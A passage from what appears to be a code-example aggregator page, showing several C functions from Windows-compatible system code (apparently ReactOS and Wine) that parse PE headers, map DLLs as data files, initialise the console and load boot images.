        } except (W32ExceptionHandler(FALSE, RIP_WARNING)) {
            return NULL;
        }
#endif
    }

    return _SetWindowsHookEx(hmod,
            (hmod == NULL) ? NULL : pwszLibFileName,
            dwThreadID, idHook, (PROC)lpfn, dwFlags);
}
Exemplo n.º 27
0
/******************************************************************
 *		pe_load_debug_info
 *
 */
BOOL pe_load_debug_info(const struct process* pcs, struct module* module)
{
    BOOL                ret = FALSE;
    HANDLE              hFile;
    HANDLE              hMap;
    void*               mapping;
    IMAGE_NT_HEADERS*   nth;

    hFile = CreateFileW(module->module.LoadedImageName, GENERIC_READ, FILE_SHARE_READ,
                        NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) return ret;
    if ((hMap = CreateFileMappingW(hFile, NULL, PAGE_READONLY, 0, 0, NULL)) != 0)
    {
        if ((mapping = MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0)) != NULL)
        {
            nth = RtlImageNtHeader(mapping);

            if (!(dbghelp_options & SYMOPT_PUBLICS_ONLY))
            {
                ret = pe_load_stabs(pcs, module, mapping, nth) ||
                    pe_load_msc_debug_info(pcs, module, mapping, nth);
                /* if we still have no debug info (we could only get SymExport at this
                 * point), then do the SymExport except if we have an ELF container, 
                 * in which case we'll rely on the export's on the ELF side
                 */
            }
/* FIXME shouldn't we check that? if (!module_get_debug(pcs, module))l */
            if (pe_load_export_debug_info(pcs, module, mapping, nth) && !ret)
                ret = TRUE;
            UnmapViewOfFile(mapping);
        }
        CloseHandle(hMap);
    }
    CloseHandle(hFile);

    return ret;
}
Exemplo n.º 28
0
static
NTSTATUS
BasepLoadLibraryAsDatafile(PWSTR Path, LPCWSTR Name, HMODULE *hModule)
{
    WCHAR FilenameW[MAX_PATH];
    HANDLE hFile = INVALID_HANDLE_VALUE;
    HANDLE hMapping;
    NTSTATUS Status;
    PVOID lpBaseAddress = NULL;
    SIZE_T ViewSize = 0;
    //PUNICODE_STRING OriginalName;
    //UNICODE_STRING dotDLL = RTL_CONSTANT_STRING(L".DLL");

    /* Zero out handle value */
    *hModule = 0;

    DPRINT("BasepLoadLibraryAsDatafile(%S %S %p)\n", Path, Name, hModule);

    /*Status = RtlDosApplyFileIsolationRedirection_Ustr(TRUE,
                                                      Name,
                                                      &dotDLL,
                                                      RedirName,
                                                      RedirName2,
                                                      &OriginalName2,
                                                      NULL,
                                                      NULL,
                                                      NULL);*/

    /* Try to search for it */
    if (!SearchPathW(Path,
                     Name,
                     L".DLL",
                     sizeof(FilenameW) / sizeof(FilenameW[0]),
                     FilenameW,
                     NULL))
    {
        /* Return last status value directly */
        return NtCurrentTeb()->LastStatusValue;
    }

    /* Open this file we found */
    hFile = CreateFileW(FilenameW,
                        GENERIC_READ,
                        FILE_SHARE_READ | FILE_SHARE_DELETE,
                        NULL,
                        OPEN_EXISTING,
                        0,
                        0);

    /* If opening failed - return last status value */
    if (hFile == INVALID_HANDLE_VALUE) return NtCurrentTeb()->LastStatusValue;

    /* Create file mapping */
    hMapping = CreateFileMappingW(hFile, NULL, PAGE_READONLY, 0, 0, NULL);

    /* Close the file handle */
    CloseHandle(hFile);

    /* If creating file mapping failed - return last status value */
    if (!hMapping) return NtCurrentTeb()->LastStatusValue;

    /* Map view of section */
    Status = NtMapViewOfSection(hMapping,
                                NtCurrentProcess(),
                                &lpBaseAddress,
                                0,
                                0,
                                0,
                                &ViewSize,
                                ViewShare,
                                0,
                                PAGE_READONLY);

    /* Close handle to the section */
    CloseHandle(hMapping);

    /* If mapping view of section failed - return last status value */
    if (!NT_SUCCESS(Status)) return NtCurrentTeb()->LastStatusValue;

    /* Make sure it's a valid PE file */
    if (!RtlImageNtHeader(lpBaseAddress))
    {
        /* Unmap the view and return failure status */
        UnmapViewOfFile(lpBaseAddress);
        return STATUS_INVALID_IMAGE_FORMAT;
    }

    /* Set low bit of handle to indicate datafile module */
    *hModule = (HMODULE)((ULONG_PTR)lpBaseAddress | 1);

    /* Load alternate resource module */
    //LdrLoadAlternateResourceModule(*hModule, FilenameW);

    return STATUS_SUCCESS;
}
Exemplo n.º 29
0
BOOL
WINAPI
BasepInitConsole(VOID)
{
    NTSTATUS Status;
    PRTL_USER_PROCESS_PARAMETERS Parameters = NtCurrentPeb()->ProcessParameters;
    WCHAR SessionDir[256];
    ULONG SessionId = NtCurrentPeb()->SessionId;
    BOOLEAN InServer;

    CONSOLE_CONNECTION_INFO ConnectInfo;
    ULONG ConnectInfoSize = sizeof(ConnectInfo);

    DPRINT("BasepInitConsole for : %wZ\n", &Parameters->ImagePathName);
    DPRINT("Our current console handles are: %lx, %lx, %lx %lx\n",
           Parameters->ConsoleHandle, Parameters->StandardInput,
           Parameters->StandardOutput, Parameters->StandardError);

    /* Initialize our global console DLL lock */
    Status = RtlInitializeCriticalSection(&ConsoleLock);
    if (!NT_SUCCESS(Status)) return FALSE;
    ConsoleInitialized = TRUE;

    /* Do nothing if this isn't a console app... */
    if (RtlImageNtHeader(GetModuleHandle(NULL))->OptionalHeader.Subsystem !=
        IMAGE_SUBSYSTEM_WINDOWS_CUI)
    {
        DPRINT("Image is not a console application\n");
        Parameters->ConsoleHandle = NULL;
        ConnectInfo.ConsoleNeeded = FALSE; // ConsoleNeeded is used for knowing whether or not this is a CUI app.

        ConnectInfo.ConsoleStartInfo.ConsoleTitle[0] = L'\0';
        ConnectInfo.ConsoleStartInfo.AppPath[0] = L'\0';
    }
    else
    {
        LPCWSTR ExeName;

        InitConsoleInfo(&ConnectInfo.ConsoleStartInfo,
                        &Parameters->ImagePathName);

        /* Initialize Input EXE name */
        ExeName = wcsrchr(Parameters->ImagePathName.Buffer, L'\\');
        if (ExeName) SetConsoleInputExeNameW(ExeName + 1);

        /* Assume one is needed */
        ConnectInfo.ConsoleNeeded = TRUE;

        /* Handle the special flags given to us by BasePushProcessParameters */
        if (Parameters->ConsoleHandle == HANDLE_DETACHED_PROCESS)
        {
            /* No console to create */
            DPRINT("No console to create\n");
            Parameters->ConsoleHandle = NULL;
            ConnectInfo.ConsoleNeeded = FALSE;
        }
        else if (Parameters->ConsoleHandle == HANDLE_CREATE_NEW_CONSOLE)
        {
            /* We'll get the real one soon */
            DPRINT("Creating new console\n");
            Parameters->ConsoleHandle = NULL;
        }
        else if (Parameters->ConsoleHandle == HANDLE_CREATE_NO_WINDOW)
        {
            /* We'll get the real one soon */
            DPRINT("Creating new invisible console\n");
            Parameters->ConsoleHandle = NULL;
            ConnectInfo.ConsoleStartInfo.ShowWindow = SW_HIDE;
        }
        else
        {
            if (Parameters->ConsoleHandle == INVALID_HANDLE_VALUE)
            {
                Parameters->ConsoleHandle = NULL;
            }
            DPRINT("Using existing console: %x\n", Parameters->ConsoleHandle);
        }
    }

    /* Now use the proper console handle */
    ConnectInfo.Console = Parameters->ConsoleHandle;

    /* Initialize the Console Ctrl Handler */
    InitConsoleCtrlHandling();
    ConnectInfo.CtrlDispatcher = ConsoleControlDispatcher;

    /* Initialize the Property Dialog Handler */
    ConnectInfo.PropDispatcher = PropDialogHandler;

    /* Setup the right Object Directory path */
    if (!SessionId)
    {
        /* Use the raw path */
        wcscpy(SessionDir, WIN_OBJ_DIR);
    }
    else
    {
        /* Use the session path */
        swprintf(SessionDir,
                 L"%ws\\%ld%ws",
                 SESSION_DIR,
                 SessionId,
                 WIN_OBJ_DIR);
    }

    /* Connect to the Console Server */
    DPRINT("Connecting to the Console Server in BasepInitConsole...\n");
    Status = CsrClientConnectToServer(SessionDir,
                                      CONSRV_SERVERDLL_INDEX,
                                      &ConnectInfo,
                                      &ConnectInfoSize,
                                      &InServer);
    if (!NT_SUCCESS(Status))
    {
        DPRINT1("Failed to connect to the Console Server (Status %lx)\n", Status);
        return FALSE;
    }

    /* Nothing to do for server-to-server */
    if (InServer) return TRUE;

    /* Nothing to do if not a console app */
    if (!ConnectInfo.ConsoleNeeded) return TRUE;

    /* We got the handles, let's set them */
    if ((Parameters->ConsoleHandle = ConnectInfo.Console))
    {
        /* If we already had some, don't use the new ones */
        if (!Parameters->StandardInput)
        {
            Parameters->StandardInput = ConnectInfo.InputHandle;
        }
        if (!Parameters->StandardOutput)
        {
            Parameters->StandardOutput = ConnectInfo.OutputHandle;
        }
        if (!Parameters->StandardError)
        {
            Parameters->StandardError = ConnectInfo.ErrorHandle;
        }
    }

    InputWaitHandle = ConnectInfo.InputWaitHandle;

    DPRINT("Console setup: %lx, %lx, %lx, %lx\n",
            Parameters->ConsoleHandle,
            Parameters->StandardInput,
            Parameters->StandardOutput,
            Parameters->StandardError);
    return TRUE;
}
Exemplo n.º 30
0
/*
 * WinLdrLoadImage loads the specified image from the file (it doesn't
 * perform any additional operations on the filename, just directly
 * calls the file I/O routines), and relocates it so that it's ready
 * to be used when paging is enabled.
 * Addressing mode: physical
 */
BOOLEAN
WinLdrLoadImage(IN PCHAR FileName,
                TYPE_OF_MEMORY MemoryType,
                OUT PVOID *ImageBasePA)
{
    ULONG FileId;
    PVOID PhysicalBase;
    PVOID VirtualBase = NULL;
    UCHAR HeadersBuffer[SECTOR_SIZE * 2];
    PIMAGE_NT_HEADERS NtHeaders;
    PIMAGE_SECTION_HEADER SectionHeader;
    ULONG VirtualSize, SizeOfRawData, NumberOfSections;
    ARC_STATUS Status;
    LARGE_INTEGER Position;
    ULONG i, BytesRead;
    TRACE("WinLdrLoadImage(%s, %ld, *)\n", FileName, MemoryType);

    /* Open the image file */
    Status = ArcOpen(FileName, OpenReadOnly, &FileId);
    if (Status != ESUCCESS)
    {
        // UiMessageBox("Can not open the file.");
        return FALSE;
    }

    /* Load the first 2 sectors of the image so we can read the PE header */
    Status = ArcRead(FileId, HeadersBuffer, SECTOR_SIZE * 2, &BytesRead);
    if (Status != ESUCCESS)
    {
        UiMessageBox("Error reading from file.");
        ArcClose(FileId);
        return FALSE;
    }

    /* Now read the MZ header to get the offset to the PE Header */
    NtHeaders = RtlImageNtHeader(HeadersBuffer);
    if (!NtHeaders)
    {
        // Print(L"Error - no NT header found in %s\n", FileName);
        UiMessageBox("Error - no NT header found.");
        ArcClose(FileId);
        return FALSE;
    }

    /* Ensure this is executable image */
    if (((NtHeaders->FileHeader.Characteristics & IMAGE_FILE_EXECUTABLE_IMAGE) == 0))
    {
        // Print(L"Not an executable image %s\n", FileName);
        UiMessageBox("Not an executable image.");
        ArcClose(FileId);
        return FALSE;
    }

    /* Store number of sections to read and a pointer to the first section */
    NumberOfSections = NtHeaders->FileHeader.NumberOfSections;
    SectionHeader = IMAGE_FIRST_SECTION(NtHeaders);

    /* Try to allocate this memory, if fails - allocate somewhere else */
    PhysicalBase = MmAllocateMemoryAtAddress(NtHeaders->OptionalHeader.SizeOfImage,
                       (PVOID)((ULONG)NtHeaders->OptionalHeader.ImageBase & (KSEG0_BASE - 1)),
                       MemoryType);

    if (PhysicalBase == NULL)
    {
        /* It's ok, we don't panic - let's allocate again at any other "low" place */
        PhysicalBase = MmAllocateMemoryWithType(NtHeaders->OptionalHeader.SizeOfImage, MemoryType);

        if (PhysicalBase == NULL)
        {
            // Print(L"Failed to alloc pages for image %s\n", FileName);
            UiMessageBox("Failed to alloc pages for image.");
            ArcClose(FileId);
            return FALSE;
        }
    }

    /* This is the real image base - in form of a virtual address */
    VirtualBase = PaToVa(PhysicalBase);

    TRACE("Base PA: 0x%X, VA: 0x%X\n", PhysicalBase, VirtualBase);

    /* Set to 0 position and fully load the file image */
    Position.HighPart = Position.LowPart = 0;
    Status = ArcSeek(FileId, &Position, SeekAbsolute);
    if (Status != ESUCCESS)
    {
        UiMessageBox("Error seeking to start of file.");
        ArcClose(FileId);
        return FALSE;
    }

    Status = ArcRead(FileId, PhysicalBase, NtHeaders->OptionalHeader.SizeOfHeaders, &BytesRead);
    if (Status != ESUCCESS)
    {
        // Print(L"Error reading headers %s\n", FileName);
        UiMessageBox("Error reading headers.");
        ArcClose(FileId);
        return FALSE;
    }

    /* Reload the NT Header */
    NtHeaders = RtlImageNtHeader(PhysicalBase);

    /* Load the first section */
    SectionHeader = IMAGE_FIRST_SECTION(NtHeaders);

    /* Fill output parameters */
    *ImageBasePA = PhysicalBase;

    /* Walk through each section and read it (check/fix any possible
       bad situations, if they arise) */
    for (i = 0; i < NumberOfSections; i++)
    {
        VirtualSize = SectionHeader->Misc.VirtualSize;
        SizeOfRawData = SectionHeader->SizeOfRawData;

        /* Handle a case when VirtualSize equals 0 */
        if (VirtualSize == 0)
            VirtualSize = SizeOfRawData;

        /* If PointerToRawData is 0, then force its size to be also 0 */
        if (SectionHeader->PointerToRawData == 0)
        {
            SizeOfRawData = 0;
        }
        else
        {
            /* Cut the loaded size to the VirtualSize extents */
            if (SizeOfRawData > VirtualSize)
                SizeOfRawData = VirtualSize;
        }

        /* Actually read the section (if its size is not 0) */
        if (SizeOfRawData != 0)
        {
            /* Seek to the correct position */
            Position.LowPart = SectionHeader->PointerToRawData;
            Status = ArcSeek(FileId, &Position, SeekAbsolute);

            TRACE("SH->VA: 0x%X\n", SectionHeader->VirtualAddress);

            /* Read this section from the file, size = SizeOfRawData */
            Status = ArcRead(FileId, (PUCHAR)PhysicalBase + SectionHeader->VirtualAddress, SizeOfRawData, &BytesRead);
            if (Status != ESUCCESS)
            {
                ERR("WinLdrLoadImage(): Error reading section from file!\n");
                break;
            }
        }

        /* Size of data is less than the virtual size - fill up the remainder with zeroes */
        if (SizeOfRawData < VirtualSize)
        {
            TRACE("WinLdrLoadImage(): SORD %d < VS %d\n", SizeOfRawData, VirtualSize);
            RtlZeroMemory((PVOID)(SectionHeader->VirtualAddress + (ULONG_PTR)PhysicalBase + SizeOfRawData), VirtualSize - SizeOfRawData);
        }

        SectionHeader++;
    }

    /* We are done with the file - close it */
    ArcClose(FileId);

    /* If loading failed - return right now */
    if (Status != ESUCCESS)
        return FALSE;

    /* Relocate the image, if it needs it */
    if (NtHeaders->OptionalHeader.ImageBase != (ULONG_PTR)VirtualBase)
    {
        WARN("Relocating %p -> %p\n", NtHeaders->OptionalHeader.ImageBase,
             VirtualBase);
        return (BOOLEAN)LdrRelocateImageWithBias(PhysicalBase,
                                                 (ULONG_PTR)VirtualBase - (ULONG_PTR)PhysicalBase,
                                                 "FreeLdr",
                                                 TRUE,
                                                 TRUE, /* in case of conflict still return success */
                                                 FALSE);
    }

    TRACE("WinLdrLoadImage() done, PA = %p\n", *ImageBasePA);
    return TRUE;
}